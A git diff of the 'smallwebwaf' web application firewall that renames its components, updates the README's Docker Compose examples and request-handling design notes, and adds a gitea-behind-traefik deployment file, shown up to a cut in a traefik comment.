`make docker` gives the image; on another host, use the name you pushed it
|
||||
under, by digest. Docker Compose puts the services on a private network of its
|
||||
own, where each reaches the others by service name. Each example publishes
|
||||
`rproxy`'s port on the host, for trying it out.
|
||||
own, where each reaches the others by service name. Only "In front of gitea"
|
||||
uses traefik. The other three publish `rproxy`'s port on the host, for trying it
|
||||
out.
|
||||
|
||||
### Smallest setup
|
||||
|
||||
One app, `rproxy` in front of it, and `discriminator` with a volume for its
|
||||
state files, every setting at its default.
|
||||
One app, `rproxy` in front of it, and `servewaf` with a volume for its state
|
||||
files, every setting at its default.
|
||||
|
||||
```yaml
|
||||
services:
|
||||
@@ -363,20 +357,20 @@ services:
|
||||
rproxy:
|
||||
image: smallwebwaf
|
||||
environment:
|
||||
SWRP_WAF_BACKEND: http://discriminator:8080
|
||||
SWRP_WAF_BACKEND: http://servewaf:8080
|
||||
SWRP_UPSTREAM_URL: http://app:8081
|
||||
ports:
|
||||
- "8080:8080"
|
||||
|
||||
discriminator:
|
||||
servewaf:
|
||||
image: smallwebwaf
|
||||
environment:
|
||||
SWW_COMMAND: discriminator
|
||||
SMALLWEBWAF_COMMAND: servewaf
|
||||
volumes:
|
||||
- discriminator-state:/var/lib/sww
|
||||
- servewaf-state:/var/lib/smallwebwaf
|
||||
|
||||
volumes:
|
||||
discriminator-state:
|
||||
servewaf-state:
|
||||
```
|
||||
|
||||
### Custom per-address limits
|
||||
@@ -399,45 +393,128 @@ services:
|
||||
rproxy:
|
||||
image: smallwebwaf
|
||||
environment:
|
||||
SWRP_WAF_BACKEND: http://discriminator:8080
|
||||
SWRP_WAF_BACKEND: http://servewaf:8080
|
||||
SWRP_UPSTREAM_URL: http://app:8081
|
||||
ports:
|
||||
- "8080:8080"
|
||||
|
||||
discriminator:
|
||||
servewaf:
|
||||
image: smallwebwaf
|
||||
environment:
|
||||
SWW_COMMAND: discriminator
|
||||
SMALLWEBWAF_COMMAND: servewaf
|
||||
# Monitoring skips every check.
|
||||
SWW_ALLOW_NETS: 192.0.2.10
|
||||
SWWAF_ALLOW_NETS: 192.0.2.10
|
||||
# The office and the automation host are never rate limited.
|
||||
SWW_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7
|
||||
SWWAF_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7
|
||||
# A netblock that sends nothing wanted.
|
||||
SWW_DENY_NETS: 198.51.100.128/25
|
||||
SWWAF_DENY_NETS: 198.51.100.128/25
|
||||
# Tighter limits for everyone else: a small static site.
|
||||
SWW_RATE_LIMIT_PER_MINUTE: "60"
|
||||
SWW_RATE_LIMIT_PER_HOUR: "600"
|
||||
SWW_RATE_LIMIT_PER_DAY: "3000"
|
||||
SWWAF_RATE_LIMIT_PER_MINUTE: "60"
|
||||
SWWAF_RATE_LIMIT_PER_HOUR: "600"
|
||||
SWWAF_RATE_LIMIT_PER_DAY: "3000"
|
||||
# Hosting networks and one country get a share of those limits.
|
||||
SWW_TAG_LIMIT_PERCENT: asn=14061:50,asn=16276:25,country=CN:25
|
||||
SWWAF_ASN_LIMIT_PERCENT: AS14061:50,AS16276:25
|
||||
SWWAF_COUNTRY_LIMIT_PERCENT: cn:25
|
||||
# Paths only scanners ask for; one request bans the client.
|
||||
SWW_TRAP_PATHS: /wp-login.php,/xmlrpc.php
|
||||
SWWAF_TRAP_PATHS: /wp-login.php,/xmlrpc.php
|
||||
# Answer a refused client with 429 rather than 403.
|
||||
SWW_BAN_RESPONSE: "429"
|
||||
SWW_LIMIT_BAN_DURATION: 30m
|
||||
SWWAF_BAN_RESPONSE: "429"
|
||||
SWWAF_LIMIT_BAN_DURATION: 30m
|
||||
volumes:
|
||||
- discriminator-state:/var/lib/sww
|
||||
- servewaf-state:/var/lib/smallwebwaf
|
||||
|
||||
volumes:
|
||||
discriminator-state:
|
||||
servewaf-state:
|
||||
```
|
||||
|
||||
### In front of gitea
|
||||
|
||||
gitea behind traefik, set up for a code forge:
|
||||
|
||||
- the upload limits raised, in size and in time;
|
||||
- the response size limit raised, for clones over 1 GiB;
|
||||
- the Actions runners exempt from counting;
|
||||
- the default request and byte limits kept.
|
||||
|
||||
`traefik` is the network traefik is on, made outside this file.
|
||||
|
||||
```yaml
|
||||
services:
|
||||
gitea:
|
||||
# gitea 1.27.3, 2026-08-29
|
||||
image: gitea/gitea@sha256:87a67ee09d3ae0d1df5fda5dcda3e2a1f9236a45b0a59025d6e00e46adc43bef
|
||||
environment:
|
||||
GITEA__server__ROOT_URL: https://git.example/
|
||||
# The host and the port of the SSH clone URLs gitea shows.
|
||||
GITEA__server__SSH_DOMAIN: git.example
|
||||
GITEA__server__SSH_PORT: "2222"
|
||||
# gitea's TCP peer is rproxy, on the private network.
|
||||
GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES: 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16
|
||||
volumes:
|
||||
- gitea-data:/data
|
||||
networks:
|
||||
- site
|
||||
ports:
|
||||
# SSH does not pass through smallwebwaf.
|
||||
- "2222:22"
|
||||
|
||||
rproxy:
|
||||
image: smallwebwaf
|
||||
environment:
|
||||
SWRP_WAF_BACKEND: http://servewaf:8080
|
||||
SWRP_UPSTREAM_URL: http://gitea:3000
|
||||
# Pushes, LFS objects and image layers over 100 MiB, or slower
|
||||
# than a minute, are cut off at the defaults.
|
||||
SWRP_MAX_REQUEST_SIZE: 2G
|
||||
SWRP_MAX_REQUEST_TIME_MS: "600000"
|
||||
# A clone larger than 1 GiB is cut off at the default.
|
||||
SWRP_MAX_RESPONSE_SIZE: 4G
|
||||
networks:
|
||||
- site
|
||||
- traefik
|
||||
labels:
|
||||
traefik.enable: "true"
|
||||
# rproxy is on two networks; traefik reaches it on this one.
|
||||
traefik.docker.network: traefik
|
||||
traefik.http.routers.git.rule: Host(`git.example`)
|
||||
traefik.http.routers.git.entrypoints: websecure
|
||||
traefik.http.routers.git.tls.certresolver: letsencrypt
|
||||
traefik.http.services.git.loadbalancer.server.port: "8080"
|
||||
|
||||
servewaf:
|
||||
image: smallwebwaf
|
||||
environment:
|
||||
SMALLWEBWAF_COMMAND: servewaf
|
||||
SWWAF_INSTANCE_NAME: fsn1/servewaf
|
||||
# The Actions runners ask for work all day; never count them.
|
||||
SWWAF_RATE_LIMIT_EXEMPT_NETS: 10.0.4.0/24
|
||||
# gitea never serves these; a request for one bans the client.
|
||||
SWWAF_TRAP_PATHS: /wp-login.php,/xmlrpc.php,/wp-admin/
|
||||
volumes:
|
||||
- servewaf-state:/var/lib/smallwebwaf
|
||||
networks:
|
||||
- site
|
||||
|
||||
networks:
|
||||
site:
|
||||
traefik:
|
||||
external: true
|
||||
|
||||
volumes:
|
||||
gitea-data:
|
||||
servewaf-state:
|
||||
```
|
||||
|
||||
`deploy/gitea` holds a complete setup of gitea, traefik included, as a Docker
|
||||
Compose file. [`docs/gitea.md`](docs/gitea.md) explains it, and records what the
|
||||
defaults do in front of gitea, request by request.
|
||||
|
||||
### `rproxy` beside the app
|
||||
|
||||
The app is built on the `smallwebwaf` image, with `rproxy` inside its container.
|
||||
`app/` holds the `Dockerfile` and `app.run` from "`rproxy` in the app's
|
||||
container". `rproxy` answers `503` to every request while `discriminator` is
|
||||
down, and `discriminator`:
|
||||
container". `rproxy` answers `503` to every request while `servewaf` is down,
|
||||
and `servewaf`:
|
||||
|
||||
- observes before it enforces;
|
||||
- looks addresses up in a local database rather than GeoJS;
|
||||
@@ -450,46 +527,46 @@ services:
|
||||
# A Dockerfile built FROM the smallwebwaf image, with rproxy inside.
|
||||
build: ./app
|
||||
environment:
|
||||
SWRP_WAF_BACKEND: http://discriminator:8080
|
||||
# Answer 503 rather than pass a request on while discriminator is down.
|
||||
SWRP_WAF_BACKEND: http://servewaf:8080
|
||||
# Answer 503 rather than pass a request on while servewaf is down.
|
||||
SWRP_DEFAULT_DISPOSITION: deny
|
||||
ports:
|
||||
- "8080:8080"
|
||||
|
||||
discriminator:
|
||||
servewaf:
|
||||
image: smallwebwaf
|
||||
environment:
|
||||
SWW_COMMAND: discriminator
|
||||
SWW_INSTANCE_NAME: fsn1/discriminator
|
||||
SMALLWEBWAF_COMMAND: servewaf
|
||||
SWWAF_INSTANCE_NAME: fsn1/servewaf
|
||||
# Refuse nothing yet; log what enforce mode would have done.
|
||||
SWW_MODE: observe
|
||||
SWWAF_MODE: observe
|
||||
# Look addresses up in a local IPinfo Lite database, never GeoJS.
|
||||
SWW_LOOKUP_SOURCE: file
|
||||
SWW_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb
|
||||
SWWAF_LOOKUP_SOURCE: file
|
||||
SWWAF_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb
|
||||
# Alerts to an ntfy topic, with its token read from a file.
|
||||
SWW_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf
|
||||
SWW_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
|
||||
SWW_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
|
||||
SWWAF_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf
|
||||
SWWAF_ALERT_NTFY_TOKEN_FILE: /etc/smallwebwaf/tokens/ntfy
|
||||
SWWAF_ALERT_EVENTS: ban,permanent_ban,waf_block,source_failure,file_error
|
||||
volumes:
|
||||
- discriminator-state:/var/lib/sww
|
||||
- servewaf-state:/var/lib/smallwebwaf
|
||||
- /srv/ipinfo:/var/lib/ipinfo:ro
|
||||
- /srv/sww/tokens:/etc/sww/tokens:ro
|
||||
- /srv/smallwebwaf/tokens:/etc/smallwebwaf/tokens:ro
|
||||
|
||||
volumes:
|
||||
discriminator-state:
|
||||
servewaf-state:
|
||||
```
|
||||
|
||||
The database is mounted by its directory, not by file, so that a replaced
|
||||
database is seen. A token file belongs to uid 65532, the `sww` user, with mode
|
||||
`0400`. This one holds an access token the ntfy server issued, which
|
||||
database is seen. A token file belongs to uid 65532, the `smallwebwaf` user,
|
||||
with mode `0400`. This one holds an access token the ntfy server issued, which
|
||||
`ntfy token add <user>` prints there:
|
||||
|
||||
```sh
|
||||
mkdir -p /srv/sww/tokens
|
||||
mkdir -p /srv/smallwebwaf/tokens
|
||||
# <token> is the access token that ntfy printed.
|
||||
echo '<token>' > /srv/sww/tokens/ntfy
|
||||
chown 65532:65532 /srv/sww/tokens/ntfy
|
||||
chmod 0400 /srv/sww/tokens/ntfy
|
||||
echo '<token>' > /srv/smallwebwaf/tokens/ntfy
|
||||
chown 65532:65532 /srv/smallwebwaf/tokens/ntfy
|
||||
chmod 0400 /srv/smallwebwaf/tokens/ntfy
|
||||
```
|
||||
|
||||
## Design
|
||||
@@ -498,58 +575,54 @@ How it works inside. [`SPEC.md`](SPEC.md) gives every rule in full, and why.
|
||||
|
||||
### What happens to a request
|
||||
|
||||
A request goes through these steps, in this order. Once `discriminator` refuses
|
||||
a request, the steps after that are skipped, apart from the report, and nothing
|
||||
of the request reaches the app.
|
||||
A request goes through these steps, in this order. Once `servewaf` refuses a
|
||||
request, the steps after that are skipped, apart from the report, and nothing of
|
||||
the request reaches the app.
|
||||
|
||||
`rproxy` takes the first two:
|
||||
|
||||
1. The health check, `GET /_sww/healthz`, is answered at once.
|
||||
1. The health check, `GET /_smallwebwaf/healthz`, is answered at once.
|
||||
2. The visitor's address is worked out from `X-Forwarded-For`, believed only
|
||||
from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `discriminator` the request as
|
||||
the visitor sent it, with the first 64 KiB of its body.
|
||||
from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `servewaf` the request as the
|
||||
visitor sent it, with the first 64 KiB of its body.
|
||||
|
||||
`discriminator` takes the checks:
|
||||
`servewaf` takes the checks:
|
||||
|
||||
3. The tag lists.
|
||||
4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
|
||||
5. The bans.
|
||||
6. The lookup of the client's AS number and country.
|
||||
7. The country list.
|
||||
8. The reputation sources.
|
||||
9. The tag refusals of `SWW_TAG_DENY`.
|
||||
10. The client's limit percentage, from its tags, its AS number, its country or
|
||||
a reputation hit.
|
||||
11. The rate limits.
|
||||
12. The trap paths.
|
||||
13. The rule files.
|
||||
14. The header limits, and then the Core Rule Set.
|
||||
15. The tag refusals again, so that `exploitsignature` can refuse too.
|
||||
16. A path under `/_sww/` is answered `404`, so that the app never sees that
|
||||
prefix.
|
||||
3. The static lists, `SWWAF_ALLOW_NETS` and `SWWAF_DENY_NETS`.
|
||||
4. The bans.
|
||||
5. The lookup of the client's AS number and country.
|
||||
6. The country lists.
|
||||
7. The reputation sources.
|
||||
8. The client's limit percentage, from its AS number, its country or a
|
||||
reputation hit.
|
||||
9. The rate limits.
|
||||
10. The trap paths.
|
||||
11. The rule files.
|
||||
12. The header limits, and then the Core Rule Set.
|
||||
13. A path under `/_smallwebwaf/` is answered `404`, so that the app never sees
|
||||
that prefix.
|
||||
|
||||
`rproxy` takes the rest, with `discriminator` counting at the end:
|
||||
`rproxy` takes the rest, with `servewaf` counting at the end:
|
||||
|
||||
17. The request is passed to the app, streaming.
|
||||
18. After the answer, `rproxy` sends `discriminator` a report with the status
|
||||
and the body bytes each way. For an allowed request, `discriminator` counts
|
||||
the bytes `SWW_BYTES_COUNT` names toward the byte limits, bans the client if
|
||||
they take it past one, and adds the request to the client's history.
|
||||
14. The request is passed to the app, streaming.
|
||||
15. After the answer, `rproxy` sends `servewaf` a report with the status and the
|
||||
bytes each way. For an allowed request, `servewaf` counts the bytes toward
|
||||
the byte limits and adds the request to the client's history.
|
||||
|
||||
A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
|
||||
Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
|
||||
positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
|
||||
request over the header limits of step 14 is answered `431`, and bans nobody
|
||||
either. `rproxy` itself answers `405` to a method it does not pass on, and the
|
||||
status for a size or time limit, such as `413` for a body too large.
|
||||
A refused visitor is answered with `SWWAF_BAN_RESPONSE`. A `block` rule or a
|
||||
Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has
|
||||
false positives; such refusals count toward `SWWAF_ERROR_BURST_THRESHOLD`
|
||||
instead. A request over the header limits of step 12 is answered `431`, and bans
|
||||
nobody either. `rproxy` itself answers `405` to a method it does not pass on,
|
||||
and the status for a size or time limit, such as `413` for a body too large.
|
||||
|
||||
### Clients and bans
|
||||
|
||||
- A client is one IPv4 address or one IPv6 netblock of `SWW_IPV6_GROUP_PREFIX`,
|
||||
since one abuser usually controls a whole /64.
|
||||
- A client is one IPv4 address or one IPv6 netblock of
|
||||
`SWWAF_IPV6_GROUP_PREFIX`, since one abuser usually controls a whole /64.
|
||||
- Each limit is counted over a sliding window with a few integers per client.
|
||||
The table of clients and the table of bans each have a bound
|
||||
(`SWW_MAX_TRACKED_CLIENTS`, `SWW_MAX_BANS`), so memory is bounded too.
|
||||
(`SWWAF_MAX_TRACKED_CLIENTS`, `SWWAF_MAX_BANS`), so memory is bounded too.
|
||||
- A ban refuses every request from its netblock until it ends. Requests refused
|
||||
under a ban count toward no limit. A permanent ban ends only when an admin
|
||||
lifts it.
|
||||
@@ -558,53 +631,32 @@ status for a size or time limit, such as `413` for a body too large.
|
||||
bans. An admin adds, keeps or lifts a ban by editing `bans.json` or through
|
||||
the ban endpoints (see [`docs/admin-endpoints.md`](docs/admin-endpoints.md)).
|
||||
|
||||
### Request tags
|
||||
|
||||
Each request gets tags from what `discriminator` knows of its client, written in
|
||||
the `tags` field of its log line:
|
||||
|
||||
- `asn=<number>` and `country=<code>`, from the lookup;
|
||||
- one tag per list of `SWW_TAG_LISTS` that holds the client, such as `torexit`
|
||||
or `vpn=mullvad`;
|
||||
- `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists
|
||||
the client;
|
||||
- `exploitsignature`, when a rule file or the Core Rule Set matched the request;
|
||||
- `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while
|
||||
`SWW_ROUTEWATCH_URL` is set.
|
||||
|
||||
`SWW_TAG_DENY` refuses requests by tag, and `SWW_TAG_LIMIT_PERCENT` lowers a
|
||||
client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
||||
|
||||
### Attack detection
|
||||
|
||||
- The Core Rule Set reads the method, the URL with its query string, and the
|
||||
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
||||
headers of every request, and no body unless `SWWAF_WAF_BODY_LIMIT` is set. In
|
||||
front of a code forge, bodies carry what people write and publish, which the
|
||||
rules take for attacks.
|
||||
- `smallwebwaf` changes the Core Rule Set in nine ways so that ordinary requests
|
||||
get through to a code forge and to Drupal. On a code forge they include git
|
||||
over HTTP and sign-in through Git Credential Manager. On gitea's own paths,
|
||||
its searches, file names and branch names get through too. On Drupal's own
|
||||
paths, its searches, names and the page to return to do. No setting undoes the
|
||||
changes; "Attack detection" in [`SPEC.md`](SPEC.md) lists them.
|
||||
- These apps work out of the box at the default settings. The Core Rule Set lets
|
||||
through the ordinary requests recorded from each of them:
|
||||
- gitea;
|
||||
- Drupal.
|
||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||
fields or paths.
|
||||
- `smallwebwaf` changes the Core Rule Set in seven ways so that it lets ordinary
|
||||
requests to a code forge through, such as git over HTTP and sign-in through
|
||||
Git Credential Manager. No setting undoes them; "Attack detection" in
|
||||
[`SPEC.md`](SPEC.md) lists them.
|
||||
- `SWWAF_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's
|
||||
own fields or paths. gitea's exclusions, in
|
||||
`deploy/gitea/crs-exclusions.conf`, let its searches, file names and branch
|
||||
names through.
|
||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||
while `discriminator` runs. The image ships one file of probes no real visitor
|
||||
while `servewaf` runs. The image ships one file of probes no real visitor
|
||||
sends (see [`docs/rules.md`](docs/rules.md)).
|
||||
|
||||
### State files
|
||||
|
||||
`discriminator` keeps everything in memory, and the five JSON files in
|
||||
`SWW_STATE_DIR` hold a copy: `bans.json`, `clients.json`, `lookups.json`,
|
||||
`servewaf` keeps everything in memory, and the five JSON files in
|
||||
`SWWAF_STATE_DIR` hold a copy: `bans.json`, `clients.json`, `lookups.json`,
|
||||
`reputation.json` and `alerts.json`. Each is written whole, to a temporary file
|
||||
renamed over the real one, so a crash leaves a complete file. `discriminator`
|
||||
notices a file edited on disk and takes the edit in; an edit that does not parse
|
||||
is set aside as `<name>.bad`, and never stops the running process (see
|
||||
renamed over the real one, so a crash leaves a complete file. `servewaf` notices
|
||||
a file edited on disk and takes the edit in; an edit that does not parse is set
|
||||
aside as `<name>.bad`, and never stops the running process (see
|
||||
[`docs/state-files.md`](docs/state-files.md)).
|
||||
|
||||
### The image and its processes
|
||||
@@ -613,34 +665,33 @@ is set aside as `<name>.bad`, and never stops the running process (see
|
||||
come from Ubuntu's archive, and nixpkgs is fixed at one release. An app's
|
||||
`Dockerfile` installs a package with `nix-env -iA nixpkgs.<name>` and gets the
|
||||
same package each time it is built (see [`docs/image.md`](docs/image.md)).
|
||||
- runit, a service supervisor, runs `sww` as the `sww` user (uid and gid 65532)
|
||||
and starts it again when it exits. The `run` script of `discriminator` gives
|
||||
the state directory to the `sww` user at each start, so a volume needs no
|
||||
change of owner.
|
||||
- `rproxy` and `discriminator` use no token between them. `discriminator`'s own
|
||||
endpoints, under `/_sww/`, are for your admin tools and your metrics
|
||||
collector, at its own address on the private network; nothing routes the
|
||||
internet there.
|
||||
- runit, a service supervisor, runs `smallwebwaf` as the `smallwebwaf` user (uid
|
||||
and gid 65532) and starts it again when it exits. The `run` script of
|
||||
`servewaf` gives the state directory to the `smallwebwaf` user at each start,
|
||||
so a volume needs no change of owner.
|
||||
- `rproxy` and `servewaf` use no token between them. `servewaf`'s own endpoints,
|
||||
under `/_smallwebwaf/`, are for your admin tools and your metrics collector,
|
||||
at its own address on the private network; nothing routes the internet there.
|
||||
- `docker stop` gives requests in progress five seconds to finish. With `rproxy`
|
||||
in the app's container, the app must keep answering for five seconds after
|
||||
`SIGTERM` for that to help them.
|
||||
- Only faults found at start stop a process: an invalid setting, a rule file or
|
||||
state file that does not parse, a lookup database that cannot be read, or an
|
||||
address it cannot listen on. Once running, a failing lookup service,
|
||||
reputation source or alert destination never takes `discriminator` down.
|
||||
reputation source or alert destination never takes `servewaf` down.
|
||||
|
||||
### Packages
|
||||
|
||||
- `cmd/sww`: the binary, which only calls `internal/sww`.
|
||||
- `internal/sww`: the process, as the command it is given, and the health check.
|
||||
- `cmd/smallwebwaf`: the binary, which only calls `internal/smallwebwaf`.
|
||||
- `internal/smallwebwaf`: the process, as the command it is given, and the
|
||||
health check.
|
||||
- `internal/config`: reads the settings, the one place they are read.
|
||||
- `internal/rproxy`: the reverse proxy in front of one app.
|
||||
- `internal/discriminator`: `discriminator`'s server, which runs the checks and
|
||||
answers its own endpoints.
|
||||
- `internal/ratelimit`, `internal/bans`, `internal/rules`,
|
||||
`internal/coreruleset`, `internal/lookup`, `internal/reputation`,
|
||||
`internal/routewatch`, `internal/anomaly` and `internal/alerts`: one check or
|
||||
source each.
|
||||
- `internal/servewaf`: `servewaf`'s server, which runs the checks and answers
|
||||
its own endpoints.
|
||||
- `internal/ratelimit`, `internal/bans`, `internal/rules`, `internal/waf`,
|
||||
`internal/lookup`, `internal/reputation`, `internal/anomaly` and
|
||||
`internal/alerts`: one check or source each.
|
||||
- `internal/state`, `internal/requestlog`, `internal/remotelog` and
|
||||
`internal/metrics`: the state files, the log lines, the syslog sender and the
|
||||
metrics.
|
||||
@@ -697,42 +748,46 @@ on the host.
|
||||
`make check`.
|
||||
- `script/docker`: builds the image, whose build runs the tests and the linter
|
||||
first. `make docker`.
|
||||
- `script/publish`: runs `script/docker`, whose build happens on the Docker host
|
||||
named by `DOCKER_HOST` (`ssh://root@fsn1app1` unless set). It then pushes the
|
||||
image to `PUBLISH_IMAGE` (`git.eeqj.de/sneak/smallwebwaf` unless set). It
|
||||
refuses a working tree with uncommitted changes. `make publish`. It pushes
|
||||
four tags:
|
||||
- the UTC date as `YYYY-MM-DD`;
|
||||
- the short commit hash;
|
||||
- the branch name;
|
||||
- `latest`.
|
||||
- `script/cibuild`: what CI runs: `script/bootstrap`, `script/check`, then the
|
||||
image build.
|
||||
- `script/precommit`: run by the git pre-commit hook; runs `script/check`.
|
||||
- `script/install-precommit`: installs that hook. `make hooks`.
|
||||
- `script/build`: builds `bin/sww` with the Go on your host. `make build`.
|
||||
- `script/run`: builds `bin/sww` and runs `discriminator` and `rproxy` on the
|
||||
- `script/build`: builds `bin/smallwebwaf` with the Go on your host.
|
||||
`make build`.
|
||||
- `script/run`: builds `bin/smallwebwaf` and runs `servewaf` and `rproxy` on the
|
||||
host, with the settings in your environment. `make run`. Unless your settings
|
||||
say otherwise:
|
||||
- `rproxy` listens on port 8080, in front of an app at
|
||||
`http://127.0.0.1:8081`;
|
||||
- `discriminator` listens on port 8090;
|
||||
- `servewaf` listens on port 8090;
|
||||
- its state files go in `bin/state`;
|
||||
- its rule files are those of `share/rules.d`.
|
||||
- `script/example-app`: builds the image and the example app
|
||||
(`deploy/example-app`) on it, runs the app with `rproxy` in its container and
|
||||
`discriminator` in another, and checks them. Then it removes the containers,
|
||||
the network, the volumes and the images. Needs network access.
|
||||
`make example-app`. It checks:
|
||||
`servewaf` in another, and checks them. Then it removes the containers, the
|
||||
network, the volumes and the images. Needs network access. `make example-app`.
|
||||
It checks:
|
||||
- the health checks;
|
||||
- a request passed to the app;
|
||||
- a ban for a broken limit, and a ban for a probe made permanent;
|
||||
- that only `discriminator`'s container changes the state directory's owner;
|
||||
- with `discriminator` stopped, the app still answering through `rproxy`;
|
||||
- with `discriminator` started again, bans applying again;
|
||||
- that only `servewaf`'s container changes the state directory's owner;
|
||||
- with `servewaf` stopped, the app still answering through `rproxy`;
|
||||
- with `servewaf` started again, bans applying again;
|
||||
- orderly stops with `sv stop` and `docker stop`;
|
||||
- bans surviving a new container on the same volume;
|
||||
- a setting given as a file.
|
||||
- `script/gitea-requests`: builds the image and runs gitea 1.27.3 behind
|
||||
`rproxy` and `servewaf`, three containers on one network. Every setting is at
|
||||
its default, but for those that join the containers and
|
||||
`SWWAF_LOG_REQUEST_HEADERS`, which adds the header that labels each request.
|
||||
It sends through them a sample of gitea's ordinary use and the requests the
|
||||
Core Rule Set is known to refuse, and prints what `servewaf` did with each.
|
||||
Needs network access, and a docker daemon that pushes to a registry on
|
||||
`localhost` over plain HTTP. `make gitea-requests`.
|
||||
- `script/gitea-setup`: builds the image, brings up the setup in `deploy/gitea`,
|
||||
and checks it as [`docs/gitea.md`](docs/gitea.md) describes. Then it removes
|
||||
the containers, the network, the volumes and the image it built. Needs network
|
||||
access. `make gitea-setup`.
|
||||
|
||||
## TODO
|
||||
|
||||
@@ -748,7 +803,7 @@ on the host.
|
||||
- [`docs/settings.md`](docs/settings.md): every setting and the values it takes.
|
||||
- [`docs/rules.md`](docs/rules.md): the rule file format and the default file.
|
||||
- [`docs/admin-endpoints.md`](docs/admin-endpoints.md): the endpoints under
|
||||
`/_sww/`, with examples.
|
||||
`/_smallwebwaf/`, with examples.
|
||||
- [`docs/request-log.md`](docs/request-log.md): the request log's fields.
|
||||
- [`docs/alerts.md`](docs/alerts.md): the alert events and what each destination
|
||||
gets.
|
||||
@@ -756,6 +811,8 @@ on the host.
|
||||
- [`docs/state-files.md`](docs/state-files.md): the state files and what each
|
||||
holds.
|
||||
- [`docs/image.md`](docs/image.md): what the image holds and how it is pinned.
|
||||
- [`docs/gitea.md`](docs/gitea.md): `smallwebwaf` in front of gitea: the setup
|
||||
in `deploy/gitea`, and what the defaults do there.
|
||||
|
||||
## License
|
||||
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
// Command smallwebwaf is a web application firewall. `smallwebwaf rproxy` is
|
||||
// the reverse proxy in front of one app, which asks servewaf about each request.
|
||||
// `smallwebwaf servewaf` decides, for many sites, and keeps what lasts.
|
||||
// `smallwebwaf healthcheck` is the container's health check. Everything it does
|
||||
// is in internal/smallwebwaf.
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/smallwebwaf"
|
||||
)
|
||||
|
||||
// Version is the version of the binary, set when it is built with
|
||||
// -ldflags "-X main.Version=...".
|
||||
var Version = "dev" //nolint:gochecknoglobals // the linker sets it
|
||||
|
||||
func main() {
|
||||
os.Exit(smallwebwaf.Main(Version))
|
||||
}
|
||||
@@ -1,20 +0,0 @@
|
||||
// Command sww is a web application firewall. `sww rproxy` is the reverse
|
||||
// proxy in front of one app, which asks discriminator about each request.
|
||||
// `sww discriminator` decides, for many sites, and keeps what lasts. `sww
|
||||
// healthcheck` is the container's health check. Everything it does is in
|
||||
// internal/sww.
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/sww"
|
||||
)
|
||||
|
||||
// Version is the version of the binary, set when it is built with
|
||||
// -ldflags "-X main.Version=...".
|
||||
var Version = "dev" //nolint:gochecknoglobals // the linker sets it
|
||||
|
||||
func main() {
|
||||
os.Exit(sww.Main(Version))
|
||||
}
|
||||
@@ -6,8 +6,8 @@
|
||||
# A real app names the smallwebwaf image by digest. This one takes the
|
||||
# image script/example-app has just built, or else the one `make docker`
|
||||
# builds.
|
||||
ARG SWW_IMAGE=smallwebwaf
|
||||
FROM ${SWW_IMAGE}
|
||||
ARG SMALLWEBWAF_IMAGE=smallwebwaf
|
||||
FROM ${SMALLWEBWAF_IMAGE}
|
||||
|
||||
# Packages the app needs, from the nixpkgs in the image.
|
||||
RUN nix-env -iA nixpkgs.busybox
|
||||
|
||||
@@ -0,0 +1,136 @@
|
||||
# Gitea behind traefik, with rproxy and servewaf in front of it.
|
||||
# docs/gitea.md says what each setting here does and why. Before starting it:
|
||||
# - set SMALLWEBWAF_IMAGE to the smallwebwaf image, named by digest;
|
||||
# - replace git.example.org with the site's host name;
|
||||
# - replace each 10.99.0 with the first three numbers of a /24 subnet that
|
||||
# no other network on the host uses. The /24 must lie inside 10.0.0.0/8,
|
||||
# 172.16.0.0/12 or 192.168.0.0/16, because rproxy believes
|
||||
# X-Forwarded-For only from those by default. Replace each fd10:99 with
|
||||
# the first two hextets of an unused /64 subnet whose third and fourth
|
||||
# hextets are 0, as in fd10:99::/64;
|
||||
# - set GITEA_SECRET_KEY to the output of
|
||||
# `docker run --rm <gitea's image below> gitea generate secret SECRET_KEY`,
|
||||
# once per install, and keep it.
|
||||
# Then run `docker compose up --detach` in this directory.
|
||||
# script/gitea-setup checks this setup.
|
||||
|
||||
name: gitea
|
||||
|
||||
x-logging: &logging
|
||||
driver: json-file
|
||||
options:
|
||||
max-size: 10m
|
||||
max-file: "5"
|
||||
|
||||
services:
|
||||
traefik:
|
||||
# traefik v3.7.17, 2026-11-03
|
||||
image: traefik@sha256:68ae5fe5b64ca166704b746a9e8afcd385e36b3f569a5691401bf652d57b3748
|
||||
# traefik replaces the X-Forwarded-For header a visitor sends. Keep it
|
||||
# so: otherwise a visitor could name an address on the shared network,
|
||||
# and skip servewaf's checks.
|
||||
command:
|
||||
- --providers.docker.exposedbydefault=false
|
||||
- --entrypoints.web.address=:80
|
||||
- --entrypoints.web.http.redirections.entrypoint.to=websecure
|
||||
- --entrypoints.websecure.address=:443
|
||||
# Until a certificate resolver is added here, as for your other
|
||||
# sites, traefik answers with a certificate it made itself.
|
||||
- --entrypoints.websecure.http.tls=true
|
||||
# traefik's own limit of 60 seconds for a whole request would cut
|
